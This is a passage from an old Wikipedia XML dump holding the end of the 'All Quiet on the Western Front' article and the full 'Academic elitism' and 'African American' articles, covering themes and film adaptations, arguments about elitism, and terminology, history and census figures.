Paul describes the horrors of war throughout the book. The trenches and fortifications are shelled continually, poison gas blankets the [[battlefield]], [[snipers]] shoot at anyone with their head above ground. Finally, the French troops come and the German lines disintegrate. Vivid descriptions are presented throughout the book. Nothing short of being there could show the sheer numbers of dead and wounded every day in the war. 

The day Paul is killed was otherwise militarily uneventful, with the German army despatches merely noting ''Im Westen nichts Neues'' - &quot;All Quiet on the Western Front&quot; in the original, evocative translation (by A. W. Wheen in 1929). However, a literal translation reveals a different kind of irony - the dispatches on the day of Paul's death read &quot;Nothing New on the Western Front&quot;.

=== Effect on soldiers ===
Another of the central themes is how war completely ruins soldiers. Physically, they are in constant danger of being shot and bombed. The never-ending attacks and counter-attacks destroy their nerves. They live in unending fear and in atrocious conditions: inhabiting muddy earthen dug-outs infested with rats, alongside rotting corpses, having no food or water for days on end. They are forced to deal with the emotional shock of watching the violent deaths of their friends. If war does not actually kill the soldiers fighting it, the physical and mental anguish of war destroys them. Paul finds much to his horror when he returns home that he can no longer feel [[joy]], even in simple acts of pleasure like reading. The soldiers metaphorically change from humans into animals.

=== Nature ===
The landscape on the front is barren, but when Paul goes on leave, he sees nature. Nature represents escape, it is beautiful and pure. When traveling by train, Paul describes the beautiful mountains and plains of Germany. He wonders why this nature is being destroyed on the front, he wants to preserve this beauty not destroy it. Also, when he sees the French countryside, he sees it is not different from the German countryside, why should he destroy this either? When wanting to change the tone of the book to a nice tone, the author uses nature as a tool to achieve that.

Paul and his comrades from the trenches cross a river to get together with some young French women who live in a farm house away from the front. For a short period of time, the soldiers are taken away from the war, the trenches, and the destruction and death that has been part of their lives for many months.

==Adaptations==
=== Film ===
In [[1930]], an [[United States|American]] film of the novel was made, directed by [[Lewis Milestone]]. The screenplay was by [[Maxwell Anderson]], [[George Abbott]], [[Del Andrews]], [[C. Gardner Sullivan]], with uncredited work by [[Walter Anthony]] and Milestone. It stars [[Louis Wolheim]], [[Lew Ayres]], [[John Wray (actor)|John Wray]], [[Arnold Lucy]] and [[Ben Alexander]].

The film won the [[Academy Award for Best Picture]] in [[1930]] for its producer [[Carl Laemmle Jr.]], and an [[Academy Award for Directing]] for [[Lewis Milestone]]. It also received two further nominations: [[Academy Award for Best Cinematography|Best Cinematography]], for [[Arthur Edeson]], and [[Academy Award for Writing Adapted Screenplay|Best Writing Achievement]] for Abbott, Anderson and Andrews.

For many viewers, the film remains harrowing today, and its battle scenes are often considered extremely realistic even by contemporary standards.  

The film has been selected for preservation by the United States [[National Film Registry]]. In the late 20th Century and early 21st the United States Library of Congress undertook an exhaustive restoration of the film, which is vastly superior in sound and picture quality to most other extant prints. 

===TV film===
In [[1979]], the film was remade for television by [[Delbert Mann]]. The remake is generally considered less successful than the original and received little acclaim.

===Stage===
A 2 hour stage adaptation by [[Robin Kingsland]] was at the [[Nottingham Playhouse]] 11th to 25th [[February]] [[2006]] [http://www.bbc.co.uk/nottingham/content/articles/2006/02/15/all_quiet_playhouse_review_event_feature.shtml].

== Sequel ==
{{main|The Road Back}}

''[[The Road Back]]'', another book written by Erich Maria Remarque, is about a different group of soldiers trying to cope with postwar Germany: dealing with the defeated German society after the war, trying to go to school, and trying to live a normal life.

The book and film were both banned during [[Nazi]] rule, and Remarque was stripped of his German citizenship in 1938.

== See also ==
* [[Paths of Glory]]

==External links==
*[http://www.randomhouse.com/highschool/catalog/display.pperl?isbn=9780449213940&amp;view=tg Teacher's Guide] at Random House
*[http://www.cliffsnotes.com/WileyCDA/LitNote/id-6.html CliffsNotes]
*{{imdb title|id=0020629|title=All Quiet on the Western Front}}

{{start box}}
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| title=[[Academy Award for Best Picture]]
| years=1929-30
| before=''[[The Broadway Melody]]''
| after=''[[Cimarron]]''
}}
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[[Category:1928 books]]
[[Category:1930 films]]
[[Category:Best Picture Oscar]]
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[[Category:World War I films]]
[[Category:World War I novels]]
[[Category:Films based on fiction books]]

[[de:Im Westen nichts Neues]]
[[es:Sin novedad en el frente]]
[[fr:À l'Ouest, rien de nouveau]]
[[ko:서부전선 이상없다]]
[[he:במערב אין כל חדש]]
[[hu:Nyugaton a helyzet változatlan (film)]]
[[no:Intet nytt fra vestfronten]]
[[pl:Na Zachodzie bez zmian]]
[[ru:На западном фронте без перемен]]
[[sk:Na západe nič nového]]
[[sv:På västfronten intet nytt]]</text>
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  <page>
    <title>Academic elitism</title>
    <id>2153</id>
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        <username>Sperril</username>
        <id>359191</id>
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      <minor />
      <comment>fix spelling that may have been vandalism</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}

[[Academic]] institutions often face the charge of '''academic elitism''', sometimes called the [[Ivory Tower]]. It is often used in parallel with [[Ivy League]] institutions.

== Description ==

'''Academic elitism''' suggests that in highly competitive academic environments only those individuals who have engaged in [[scholarly method|scholarship]] are deemed to have anything worthwhile to say, or do.
It suggests that individuals who have not engaged in  such scholarship are [[Crank (person)|cranks]]. It is possible, though, to value serious scholarship without being an academic elitist, of course. A lesser and broader form of this, [[intellectual elitism]], exists in non-academic circles, so academic elitism might also be viewed as a further extreme of intellectual elitism, depending upon one's perspective. 

The tendency towards academic elitism is most pronounced in highly competitive and highly regarded environments. The [[peer review]] of academia process is ocassionaly cited as suppressing dissent against &quot;[[mainstream]]'&quot; theories (part of an overall system of ''[[suppression of dissent|suppression of intellectual dissent]]''). Some [[Science and technology studies|sociologists of science]] argue that peer review makes the ability to publish susceptible to control by [[elite]]s and to personal jealousy. Reviewers tend to be especially critical of [[conclusion]]s that contradict their own [[view]]s, and lenient towards those that accord with them. At the same time, elite scientists are more likely than less established ones to be sought out as referees, particularly by high-prestige journals or [[publisher]]s. As a result, it has been argued, ideas that harmonize with the elite's are more likely to see print and to appear in premier journals than are iconoclastic or revolutionary ones, which accords with [[Thomas Kuhn]]'s well-known observations regarding scientific revolutions.

The tendency towards academic elitism is noticable in some [[education system]]s (particularly in developed countries). More attention and resources are afforded to students who are deemed most intelligent at an early age. This inequality tends to further separate the elite from the remainder of society. [[Streaming]] systems include branded institutions, gifted classes, and other elite student groups. Countries with extensive private school systems also exemplify this trend.

=== Arguments against ===

* It is an inherently exclusionary process
* It serves to hamper the advancement of human knowledge by ignoring potentially valid ideas
* It encourages waste through the development of a winner-takes-all mentality
* Academic institutions are unreasonably shielded from [[economic competition]] by government funding programs
* Selection processes are unfairly biased towards certain groups
* It alienates those who are not of the elite and discourages them from participating in decision-making

=== Arguments for ===

* [[Elitism]] is an illusion which masks an inherent human tendency to group by abilities and interests
* Human societies are best advanced by those who are most willing and able to participate in academic study
* Human societies require a vetting process that leads people to roles that will yield the most efficient management of societal resources.

== Writings, authors, and books==

Authors &amp;mdash; including (but not limited to) ''[[Aldous Huxley]]'', ''[[George Orwell]]'' ([[Social Democrat]]), and ''[[Ayn Rand]]'' &amp;mdash;  have explored both sides of [[Social Elitism]] through [[Academia]]/[[Intelligentsia]]. They present theoretical examples of the [[Dystopian]] societies which might result from either extreme support or extreme undermining of elitism. For example, George Orwell has written several books on the subject, such as [[Nineteen_Eighty-Four|1984]] and [[Animal Farm]], where there are characters who take the role of a '[[Vanguard]]', acting FOR&amp;mdash;or on the behalf OF&amp;mdash;their society, who turn to them for everything, or rely on them. It usually ends up with them making some mistakes or abusing their trust, while going straight at a task they cannot comprehend, because they are stubbornly believing in themselves.

==See also==
* [[Anti-intellectualism]] 
* [[Expert]] 
* [[Pseudointellectual]]
* [[Ivy League]]
* [[Elitism]] 
* [[Elite media]] 
* [[I Not Stupid]] 
* [[Ivory Tower]] 
* [[Neolibertarianism]]
* [[suppression of dissent|suppression of intellectual dissent]]
* [[Little Ivies]]

==External articles and references==
* Leah Sprain, &quot;''[http://www.com.washington.edu/Program/publicscholarship/ps_sprain.pdf Sending Signals from the Ivory Tower]: Barriers to Connecting Academic Research to the Public''&quot;. ([[PDF]])
* Lionel Lewis, &quot;''[http://www.aaup.org/publications/Academe/2005/05jf/05jflewi.htm The Academic Elite Goes to Washington, and to War]; Critics of the academy have lambasted faculty doves. History shows that academia has roosted a flock of hawks''&quot;. American Association of University Professors. 
* Tom Bramble, &quot;''[http://www.anu.edu.au/polsci/courses/ape/uniclass.htm Class and power in the ivory tower]''&quot;. Australian Universities Review (unpublished), University of Queensland. 
* Jordan L. Hylden and John H. Jernigan, &quot;''[http://www.hpronline.org/news/2003/06/08/Cover/Leaning.Ivory.Tower-437662.shtml Leaning Ivory Tower]; The most troubling bias among academics is not political but religious''&quot;. Havard Political Review, 6/8/03. 
* Jeffrey H. Bair and Myron Boor, &quot;''The Academic Elite in Law: Linkages Among Top-Ranked Law Schools''&quot;. Psychological Reports 68: 891-94, 1991.
* Jeffrey H. Bair, &quot;''[http://www.findarticles.com/p/articles/mi_m0254/is_2_62/ai_100202314 The Hiring practices in finance education: linkages among top-ranked graduate programs - The University]''&quot;. American Journal of Economics and Sociology, April, 2003.
* Xi Lin, &quot;''[http://archives.thedaily.washington.edu/1998/020298/elites.20298.html The academic elite]; Cynicism and disillusionment are protocol for UW elites''&quot;. The Daily of the University of Washington, 1998. 
* Annalee Newitz, &quot;''[http://www.salon.com/it/career/1998/11/06career.html Ivory Tower]| Out of academia''&quot;. Salon.com, 2000. 
* Gerard A. Best, &quot;''[http://www.meppublishers.com/online/caribbean-beat/current_issue/article.php?id=cb76-2-36 Breaking down the Ivory tower]''&quot;. Caribbean Beat, Issue No. 76, November/December 2005. 
* Ellen W. Schrecker, &quot;''No Ivory Tower : McCarthyism and the Universities''&quot;. 1986. ISBN 0195035577 
* Mike S. Adams, &quot;''Welcome to the Ivory Tower of Babel: Confessions of a Conservative College Professor''&quot;. Harbor House, 2004, ISBN 1891799177 

[[Category:Academia|Elitism]]
[[nl:Ivoren Toren]]
[[no:Akademisk Eltisme]]</text>
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  </page>
  <page>
    <title>African American</title>
    <id>2154</id>
    <revision>
      <id>42150896</id>
      <timestamp>2006-03-04T03:51:14Z</timestamp>
      <contributor>
        <ip>69.216.245.113</ip>
      </contributor>
      <text xml:space="preserve">{{AfricanAmerican|right}}
An '''African American''' (also '''Afro-American''', '''Black American''', '''American-African, is a member of an [[ethnic group]] in the [[United States]] whose ancestors, usually in predominant part, were indigenous to [[Africa]]. Many African Americans have [[European]] and/or [[Native Americans in the United States|Native American]] ancestry as well. Some have [[Asian]] ancestry too. The term refers specifically to black African ancestry; not, for example, to white or Arab African ancestry, such as Moroccan or white South African ancestry. Blacks from non-African countries such as [[Haiti]], [[Cuba]], or [[Australia]] are theoretically referred to by their nation of origin and not African American, but in general the cultural assumption in the U.S. is that if a person is black, he or she is &quot;African American.&quot;

==Nomenclature==
The term &quot;African American&quot; has been in common usage in the United States since the late [[1980s]], when greater numbers of African Americans began to adopt the term self-referentially. [[Malcolm X]] favored the term &quot;African American&quot; over &quot;Negro&quot; and used the term at an [[OAAU]] (Organization of Afro American Unity) meeting in the early [[1960s]], saying, &quot;Twenty-two million African-Americans - that's what we are - Africans who are in America.&quot; Former NBA player/coach [[Lenny Wilkens]] is another who used the term as a teenager when filling a job application. Many blacks began to abandon the term &quot;Afro-American&quot;, which had become popular in the [[1960s]] and [[1970s|'70s]], for &quot;African-American,&quot; because they desired an unabbreviated expression of their African heritage that could not be mistaken or derided as an allusion to the [[afro]] hairstyle.  The term became increasingly popular, and by the 1980s, [[Jesse Jackson]] and others pressed for its adoption and acceptance.  Users of the term argued that &quot;African-American&quot; was more in keeping with the nation's immigrant tradition of so-called &quot;hyphenated Americans&quot;, who were known by terms like &quot;[[Irish-American]]&quot;, or &quot;[[Chinese-American]]&quot;, &quot;[[Polish-American]]&quot;), which link people with their, or their ancestors', geographic points of origin. 

Terms used at various points in American history include ''[[Negro]]es'', ''[[colored]]'', ''[[blacks]]'' and ''Afro-Americans''. ''Negro'' and ''colored'' were common until the late  [[1960s]], but are now less commonly used and considered derogatory. ''African American'', ''black'' and, to a lesser extent, ''Afro-American'' are used interchangeably today, but their precise meanings and connotations are in dispute.  

The term ''African American'' is sometimes problematic because of its imprecise [[cultural]] and geographic meaning. It also means that the people it is refering to are black. The term as originally applied refers to only those descended from a small number of colonial [[indentured servitude|indentured servants]] and the estimated 500,000 Africans taken to the U.S. as slaves (of approximately 11 million Africans taken to the western hemisphere in general). In slightly broader usage, the term can include Indians and Afro-Latino [[immigrants]] whose African ancestors also survived the Middle Passage, recent African immigrants, children of immigrants, with American citizenship, but these groups tend to use the ethnic terms ''Latino'' or ''Hispanic'', or identify themselves by their countries of origin (i.e., as [[Dominican Republic|Dominican]] or [[Jamaican]] instead of African American). The term does not include white, Indian or Arab immigrants from the African continent, as they are not generally considered 'Africans'. Racial identification has always been somewhat arbitary, depending less on ancestry and more on community membership. Thus large numbers of African Americans &quot;passed&quot; into the white community and they and their descendants are not considered African American. The father of Senator [[Barak Obama]] was a man from Kenya, his mother was of European descent; he was raised in Hawaii and Indonesia and eventually chose to identify with the African American community, and has become an important leader.  Many other political leaders, especially in New York City, are descended from West Indians, including [[Colin Powell]] and [[Shirley Chisholm]]. [[Walter White]], longtime NAACP leader, appeared white, a point he emphasized in his autobiography ''A Man Called White'' (p. 3): &quot;I am a Negro. My skin is white, my eyes are blue, my hair is blond. The traits of my race are nowhere visible upon me.&quot;[http://books.google.com/books?ie=UTF-8&amp;vid=ISBN0820316989&amp;id=bbMKSGD_TpUC&amp;pg=PA3&amp;lpg=PA3&amp;dq=Walter+White+NAACP&amp;sig=LIfEA99_uvt-pOy5yXKb1Q2Ey-s] 

In some contexts, the term ''African American'' has been used to refer to people such as the [[black Loyalist]]s who never gave their allegance to the USA - in this context &quot;American&quot; refers to the American continents.

==Current Demographics==
[[Image:USA 2000 black density.jpg|thumb|left|200px|Population density of African Americans in 2000]]
According to [[2003]] U.S. [[Census]] figures, some 37.1 million African Americans live in the United States, comprising 12.9 percent of the total population. At the time of the [[2000]] Census, 54.8 percent of African Americans lived in the [[Southern United States|South]]. In that year, 17.6 percent of African Americans lived in the Northeast and 18.7 percent in the Midwest, while only 8.9 percent lived in the western states. Almost 88 percent of African Americans lived in metropolitan areas in 2000. With over 2 million black residents, [[New York City]] had the largest black urban population in the United States in 2000. Among cities of 100,000 or more, [[Gary, Indiana|Gary]], [[Indiana]], had the highest percentage of black residents of any U.S. city in 2000, with 85 percent, followed closely by [[Detroit, Michigan|Detroit]], [[Michigan]], with 83 percent. [[Atlanta, Georgia]], has a large African-American population of about 65 percent.  The nation's capital, [[Washington, D.C.]], had a 60 percent black population.
&lt;BR clear=left&gt;
==African American history==
''Main article: [[African American history]]''
  
Blacks in America, like their White counterparts, are composed of many diverse ethnic groups.  Over 40 identifiable ethnic groups from 25 different kingdoms were sold to the United States during the Atlantic Slave trade.  These people came from an area spanning from present day [[Senegal]] all the way to [[Democratic Republic of Congo]] as well as the [[Portugal|Portuguese]] [[colonies]] of [[Angola]] and [[Mozambique]].  Over time, Africans in America formed a new and common identity focused on their mutual condition in America as opposed to cultural and historic ties to Africa.  Africans were sold and traded into bondage and shipped to the American South from [[1619]].  In [[1807]], the importation of slaves by U.S. citizens became illegal, yet the practice continued. By [[1860]], there were 3.5 million enslaved Africans in the [[Southern United States]], and another 500,000 Africans lived free across the country. [[Slavery]] was a controversial issue in American society and politics. The growth of [[abolitionism]], which opposed the institution of slavery, culminated in the [[1860]] election of [[Abraham Lincoln]] as [[President of the United States]], and was one reason for the secession of the [[Confederate States of America]], which lead to the [[American Civil War]] ([[1861]] - [[1865]]).
  
The [[Emancipation Proclamation]] of [[1863]] declared all slaves in the Confederacy free under U.S. law.  It did not, however, apply to people enslaved in territories that were still in the Union, and thus did not immediately free a single enslaved person, since U.S. law held no sway over the Confederacy at the time. The [[Thirteenth Amendment to the United States Constitution]], ratified in 1865, freed all enslaved people, including those in states that had not seceded. During [[Reconstruction]], African Americans in the South obtained the right to vote and to hold public office, as well as a number of other civil rights they previously had been denied. However, when [[Reconstruction]] ended in [[1877]], southern, European American landowners reinstituted a regime of [[Disenfranchising|disenfranchisement]] and [[racial segregation]], and with it a wave of terrorism and repression, including [[lynchings]] and other [[vigilante]] violence.

The desperate conditions of African Americans in the South that sparked the [[Great Migration (African American)|Great Migration]] of the early [[20th century]], combined with a growing African American intellectual and cultural elite in the [[Northern United States]], led to a movement to fight violence and [[discrimination]] against African Americans that, like [[abolitionism]] before it, crossed racial lines. One of the most prominent of these groups, the [[National Association for the Advancement of Colored People|NAACP]], galvanized by outspoken journalist and activist [[Ida B. Wells Barnett]], led an anti-lynching crusade. In the 1950s, the organization mounted a series of calculated legal challenges to overturn [[Jim Crow]] segregation, culminating in the landmark ''[[Brown v. Board of Education]] of Topeka, Kansas'' decision.

The [[United States Supreme Court|Supreme Court]]'s decision in ''Brown v. Board'' was one of defining moments of the modern-day [[Civil Rights Movement]].  It was part of a long-term strategy to strike down Jim Crow segregation in public education, the hospitality industry, public transportation, employment and housing, granting equal access to African Americans and ensuring their right to vote.  The movement reached its peak in the [[1960s]] under leaders such as Dr. [[Martin Luther King, Jr.]], [[Whitney Young]], and [[Roy Wilkins]], Sr. At the same time, [[Nation of Islam]] spokesman [[Malcolm X]] and, later, [[Stokely Carmichael]], the [[Black Panther Party]], and the [[Republic of New Africa]] called for African Americans to embrace [[black nationalism]] and black self-empowerment, propounding ideas of African (black) unity and solidarity and [[pan-Africanism]].

==Contemporary issues==
{{NPOV-section}}
{{cleanup-date|November 2005}}

''Main article: [[African American contemporary issues]]''
  
African Americans significantly have improved their social and economic standing since the [[Civil Rights Movement]], and recent [[decade]]s have witnessed the expansion of a robust, African American [[middle class]] across the United States.  African Americans as a group remain at a pronounced economic, educational, and social disadvantage relative to whites. Economically, the median income of African Americans is roughly 55 percent of that of European Americans{{fact}}. Persistent social, economic, and political issues for many African Americans include inadequate [[health care]] access and delivery; housing{{fact}}, [[education]], policing, [[criminal justice]] and [[employment]]; [[crime]]; [[poverty]]; and [[substance abuse]]. They are also more likely to be [[prison|incarcerated]]. African Americans also have higher prevalence of some chronic [[health]] conditions and out-of-wedlock births relative to the general population. These problems and potential remedies have been the subject of intense [[public policy]] debate in the United States in general, and within the African American community in particular.

==Culture==
''Main article: [[African American culture]]''
 
African American culture is an amalgam of influences, including [[African]], [[Caribbean]], [[European]], and [[Latino]] cultures. From its music and dance, to speech, demeanor, and foodways, African American culture bears the strong imprint of West Africa, particularly in rural portions of the [[Deep South]] and [[Sea Islands]] of [[Georgia (U.S. state)|Georgia]] and [[South Carolina]].
 
[[African American music]] is one of the most pervasive African American cultural influences in the United States today. [[Hip hop music|Hip hop]], [[Rock music|rock]], [[R&amp;B]], [[funk]], and other contemporary American musical forms evolved from [[blues]], [[jazz]], and [[gospel music]]. [[African American Vernacular English]] (AAVE) is a dialect of English spoken by many African Americans to varying degrees.
 
Many African American authors have written stories, poems, and essays influenced by their experiences as African Americans, and [[African American literature]] is a major genre in American literature. Famous examples include [[Langston Hughes]], [[James Baldwin (writer)|James Baldwin]], [[Richard Wright (author)|Richard Wright]], [[Zora Neale Hurston]], [[Ralph Ellison]], [[Toni Morrison]], and [[Maya Angelou]].

==The term ''African American''==
  
===Political overtones===

The term ''African American'' carries important political overtones. Previous terms used to identify Americans of African ancestry were conferred upon the group by whites and were included in the wording of various laws and legal decisions which became tools of white supremacy and oppression. There developed among blacks in America a growing desire for a term of their own choosing.
  
With the political consciousness that emerged from the political and social ferment of the late [[1960s]] and early [[1970s]], ''Negro'' fell into disfavor among many African Americans. It had taken on a moderate, accommodationist, even [[Uncle Tom]]&lt;nowiki&gt;ish&lt;/nowiki&gt;, connotation. In this period, a growing number of blacks in the U.S., particularly African American youth, celebrated their [[blackness]] and their historical and cultural ties with the African continent. The [[Black_nationalism#Black_Power|Black Power]] movement defiantly embraced ''black'' as a group identifier&amp;mdash;a term they themselves had repudiated only two decades earlier&amp;mdash;a term often associated in English with things negative and undesirable, proclaiming, &quot;Black is beautiful.&quot; 
  
In this same period, others favored the term ''Afro-American''; this particular term never gained much traction, but by the [[1990s]], the term ''African American'' had emerged as the leading choice of self-referential term. Just as other ethnic groups in American society historically had adopted names descriptive of their families' geographical points of origin (such as ''[[Italian-American]]'', ''[[Irish-American]]'', ''[[Polish-American]]''), many blacks in America expressed a preference for a similar term. Because of the historical circumstances surrounding the capture, enslavement and systematic attempts to de-Africanize blacks in the U.S. under chattel slavery, most African Americans are unable to trace their ancestry to a specific African nation; hence, the entire continent serves as a geographic marker.

For many, ''African American'' is more than a name expressive of cultural and historical roots. The term expresses African pride and a sense of kinship and solidarity with others of the African [[diaspora]]&amp;mdash;an embracing of the notion of pan-Africanism earlier enunciated by prominent African thinkers such as [[Marcus Garvey]], [[W.E.B. Dubois]] and, later, [[George Padmore]].  
  
A discussion of the term ''African American'' and related terms can be found in the journal article &quot;The Politicization of Changing Terms of Self Reference Among American Slave Descendants&quot; in ''American Speech'' v 66 is 2 Summer 1991 p. 133-46.

===Who is African American?===
To be considered African American in the [[United States|United States of America]], not even half of one's ancestry need to be black African. The nation's answer to the question &quot;Who is black?&quot; long has been that a &quot;black&quot; is any person with any known African ancestry. This definition reflects the long experience with [[racism]], [[white supremacy]], [[slavery]], and, later, with [[Jim Crow laws]].
  
In the [[Southern United States]], it became known as the ''[[one-drop rule]]'', meaning that a single drop of &quot;black blood&quot; makes a person &quot;black&quot;. Some courts have called it the ''traceable amount rule'', and [[anthropology|anthropologists]] call it the ''hypo-descent rule'', meaning that racially mixed persons are assigned the status of the subordinate group. This definition emerged from the American South to become America's national definition, generally accepted by whites and blacks -- but for different reasons. White supremacists, whose motivation was [[racism|racist]], considered anyone with African ancestry tainted, inherently inferior morally and intellectually and, thus, subordinate. During slavery, there was also a strong economic incentive to maximize the number of individuals who could be owned, bred, worked, traded and sold outright as human chattel. The designation of anyone possessing any trace of African ancestry as &quot;black&quot;, and, therefore, of subordinate status to whites, guaranteed a source of cheap labor during slavery and for decades afterward. For African Americans, the one-drop system of racial designation was a significant factor in ethnic solidarity. African Americans generally shared a common lot in society and, therefore, common cause -- regardless of their ethnic admixture and social and economic stratification. 
  
The [[Supreme Court of the United States|United States Supreme Court]] formalized the legal status of this rule in ''[[Plessy v. Ferguson]]'' ([[1896]]), where the Court affirmed the legality of [[racial segregation]] and upheld the State of [[Louisiana]]'s ruling that, despite being 7/8 white, [[Homer Plessy]]'s one black great-grandparent rendered him legally non-white and, therefore, subject to being barred from whites-only railway carriages.

[[Caucasoid]] peoples, [[India|Indians]], [[Asians]] and [[Arab]]s are traditionally not considered African American, though they or their [[ancestor]]s may have [[emigrate|emigrated]] from the African continent after generations of residence. In relatively rare cases when [[South Africa|South African]] whites, Caucasoid [[North Africa|North African]]s or [[Asia]]n immigrants from Africa living in America have self-identified as African American in an attempt to benefit  from [[Affirmative Action]] or other entitlement programs, their claims generally have not been upheld.
  
In the [[1980s]], parents of mixed-race children began to organize and lobby for the addition of a more inclusive term of racial designation that would reflect the heritage of their offspring.  As a result, the term ''[[biracial]]'' has become more widely used and accepted to classify people of mixed race.

===Terms no longer in common use===
  
The term ''[[Negro]]'', which was widely used until the [[1960s]], today increasingly is considered passé and inappropriate or derogatory. It is still fairly commonly used by older individuals, in the Deep South, and by medical/anthropological texts. Once widely considered acceptable, ''Negro'' fell into disfavor for reasons already herein stated. The self-referential term of preference for ''Negro'' became ''black''.
  
''Negroid'' is a term used by European anthropologists first in the [[18th century]] to describe indigenous Africans and their descendants throughout the African diaspora. As with most descriptors of [[race]] based on inconsistent, unscientific phenotypical standards, the term is controversial and imprecise.  Because of its similarity to ''Negro'', growing numbers of blacks have substituted the term ''Africoid'' which, unlike ''Negroid'', encompasses the phenotypes of all indigenous African peoples.
  
Other largely defunct, seldom used terms to refer to African Americans are ''[[mulatto]]'' and ''[[colored]]''. Even so, the use of the word &quot;colored&quot; can still be found today in the National Association for the Advancement of Colored People, or [[NAACP]].  The American use of the term ''mulatto'' originally was used to mean the offspring of a &quot;pure African black&quot; and a &quot;pure European white&quot;. The Latin root of the word is ''mulo'', as in &quot;[[mule]]&quot;, implying incorrectly that, like mules, which are [[horse]]-[[donkey]] [[hybrid]]s, mulattoes are sterile crosses of two different species. For example, in the early [[20th century]], African American leaders such as [[Booker T. Washington]] and [[Frederick Douglass]], who had enslaved blacks as mothers and white fathers, were referred to as mulattoes. While not as common as &quot;mixed&quot; or &quot;biracial,&quot; or even &quot;multiracial,&quot; ''mulatto'' is still sometimes used to refer to people of mixed parentage and, despite its origin, is not considered inherently derogatory.
  
The term ''quadroon'' referred to a person of one-fourth African descent, for example, someone born to a [[Whites|Caucasian]] father and a mulatto mother. Someone of one-eighth African descent technically was an ''octoroon'', although the term often was used to refer to any white person with even a hint of black ancestry.
  
''Mulatto'' and terms with the ''-roon'' suffix persisted in a social context for a number of decades, but by the mid twentieth century, they no longer were in common use. With the end of slavery, there was no longer a strong commercial incentive to classify blacks by their African-European ancestral admixture. The occasional use of these terms, however, does still persist in electronic media, literature and in some social settings.

===Criticisms of the Term===

Some criticism has arisen with the use of the term &quot;African American&quot;. To be African-American, some would argue that an individual would have to be born in Africa and then immigrate to U.S. and obtain citizenship. So an overwhelming majority of Black Americans would not be African-American, but of  African American descent. Some inaccuracies also exist with the term. It is associated with black people however one could be completely white and still technically be &quot;African American&quot; if they were born in Africa and immigrated to the U.S.

However, some counter that the &quot;hyphenated American&quot; is used to describe one's national origin, so any person born in Africa would take on the name of their country.  For example, indivuals from Nigeria would be called Nigerian-American as it describes their national origin as opposed to African-American.  The term African-American is preferred among many because although the regional/national origin of black Americans in Africa is not traceable, due to slavery, the continent of Africa provides a descriptive term of themselves.

==Black American population==
The following gives the black population in the U.S. over time, based on U.S. Census figures. (Numbers from years 1920 to 2000 are based on U.S. Census figures as given by the ''Time Almanac'' of 2005, p 377)

{| border=1 cellpadding=5 cellspacing=0 class=&quot;wikitable&quot;
  ! Year || Number || Percentage of total population 
  |- 
  | [[1790]] || 757,208 || 19.3% (highest historic percentage) 
  |- 
  | [[1800]] || 1,002,037 || 18.9%  
  |- 
  | [[1810]] || 1,377,808 || 19.0% 
  |- 
  | [[1820]] || 1,771,656 || 18.4%  
  |- 
  | [[1830]] || 2,328,642 || 18.1%  
  |- 
  | [[1840]] || 2,873,648 || 16.8%  
  |- 
  | [[1850]] || 3,638,808 || 15.7%  
  |- 
  | [[1860]] || 4,441,830 || 14.1%  
  |- 
  | [[1870]] || 4,880,009 || 12.7%  
  |- 
  | [[1880]] || 6,580,793 || 13.1%  
  |- 
  | [[1890]] || 7,488,788 || 11.9%  
  |- 
  | [[1900]] || 8,833,994 || 11.6%  
  |- 
  | [[1910]] || 9,827,763 || 10.7%  
  |- 
  | [[1920]] || 10.5 million || 9.9%  
  |- 
  | [[1930]] || 11.9 million || 9.7% (lowest historic percentage) 
  |- 
  | [[1940]] || 12.9 million || 9.8%  
  |- 
  | [[1950]] || 15.0 million || 10.0%  
  |- 
  | [[1960]] || 18.9 million || 10.5%  
  |- 
  | [[1970]] || 22.6 million || 11.1%  
  |- 
  | [[1980]] || 26.5 million || 11.7%  
  |- 
  | [[1990]] || 30.0 million || 12.1%  
  |- 
  | [[2000]] || 34.6 million || 12.3% (current percentage) 
  |}

note:  The [[CIA World Factbook]] gives the current [[2005]] figure as 12.9% [http://www.cia.gov/cia/publications/factbook/print/us.html]

==See also== 
*[[Black (people)]]
*[[:Category:African Americans]]
*[[African American National Biography Project]]
*[[List of African Americans]]  
*[[List of African-American-related topics]] 
*[[List of U.S. metropolitan areas with large African-American populations]] 
*[[List of U.S. cities with large African-American populations]] 
*[[Race]], [[Hyphenated American]] 
*Terminology: [[Blacks]], [[Colored]], [[Creole peoples|Creole]], [[Negro]] 
*[[African American history]] 
**[[Racial segregation]]  
**[[Black nationalism]]
*[[African American literature]] 
*[[African American Vernacular English]]
*[[Affirmative action]]
*[[Black Indians]]

===Other groups===
*[[Americo-Liberian]]
*[[Afro-Argentinian]]
*[[Afro-Brazilian]]
*[[Afro-Cuban]] 
*[[Afro-Ecuadorian]]
*[[Afro-Latin American]]
*[[Afro-Mexican]]
*[[Afro-Peruvian]]
*[[Afro-Trinidadian]] 
*[[African American culture]] 
*[[African American music]] 

==Further Reading==
*Jack Salzman, ed., ''Encyclopedia of Afro-American culture and history'', New York, NY  : Macmillan Library Reference USA, 1996
*''African American Lives'', edited by Henry L. Gates, Evelyn Brooks Higginbotham, Oxford University Press, 2004 - more then 600 biographies
*''From Slavery to Freedom. A History of African Americans'', by [[John Hope Franklin]], Alfred Moss, McGraw-Hill Education 2001, standard work, first edition in 1947
*''Black Women in America - An Historical Encyclopedia'', Darlene Clark Hine (Editor), Rosalyn Terborg-Penn (Editor), Elsa Barkley Brown (Editor), Paperback Edition, Indiana University Press 2005

==External links==
{{Wiktionary}}
*[http://www.saxakali.com/caribbean/shamil.htm African Americans in the Caribbean and Latin America] 
*[http://www.infoplease.com/spot/bhmcensus1.html African Americans by the numbers] 
*[http://www.infoplease.com/spot/bhm1.html Black History Month]
*[http://www.sonofthesouth.net/Slavery_Pictures_.htm Slavery Pictures], Original 1860s 
*[http://www.medterms.com/script/main/art.asp?articlekey=38705 Definition of African American] from MedicineNet
*[http://www.slate.com/id/2106753/ Article detailing the problems of defining African American]
*[http://www.radioblack.com/ African American Music] Black American Radio Stations

[[Category:African Americans]]
[[Category:African diaspora]]
[[Category:Ethnic groups]]

[[ar:أمريكيون أفارقة]]
[[ca:Afroamericà]]
[[da:Afro-amerikaner]]
[[de:Afroamerikaner]]
[[es:Afroamericano]]
[[fr:Afro-Américain]]
[[gl:Afroamericano]]
[[ko:아프리카계 미국인]]
[[id:Afrika-Amerika]]
[[he:אפרו-אמריקאים]]
[[nl:Afro-Amerikanen]]
[[ja:アフリカン・アメリカン]]
[[no:Afroamerikanere]]
[[sh:Afroamerikanci]]
[[sv:Afroamerikaner]]
[[zh:非裔美国人]]</text>
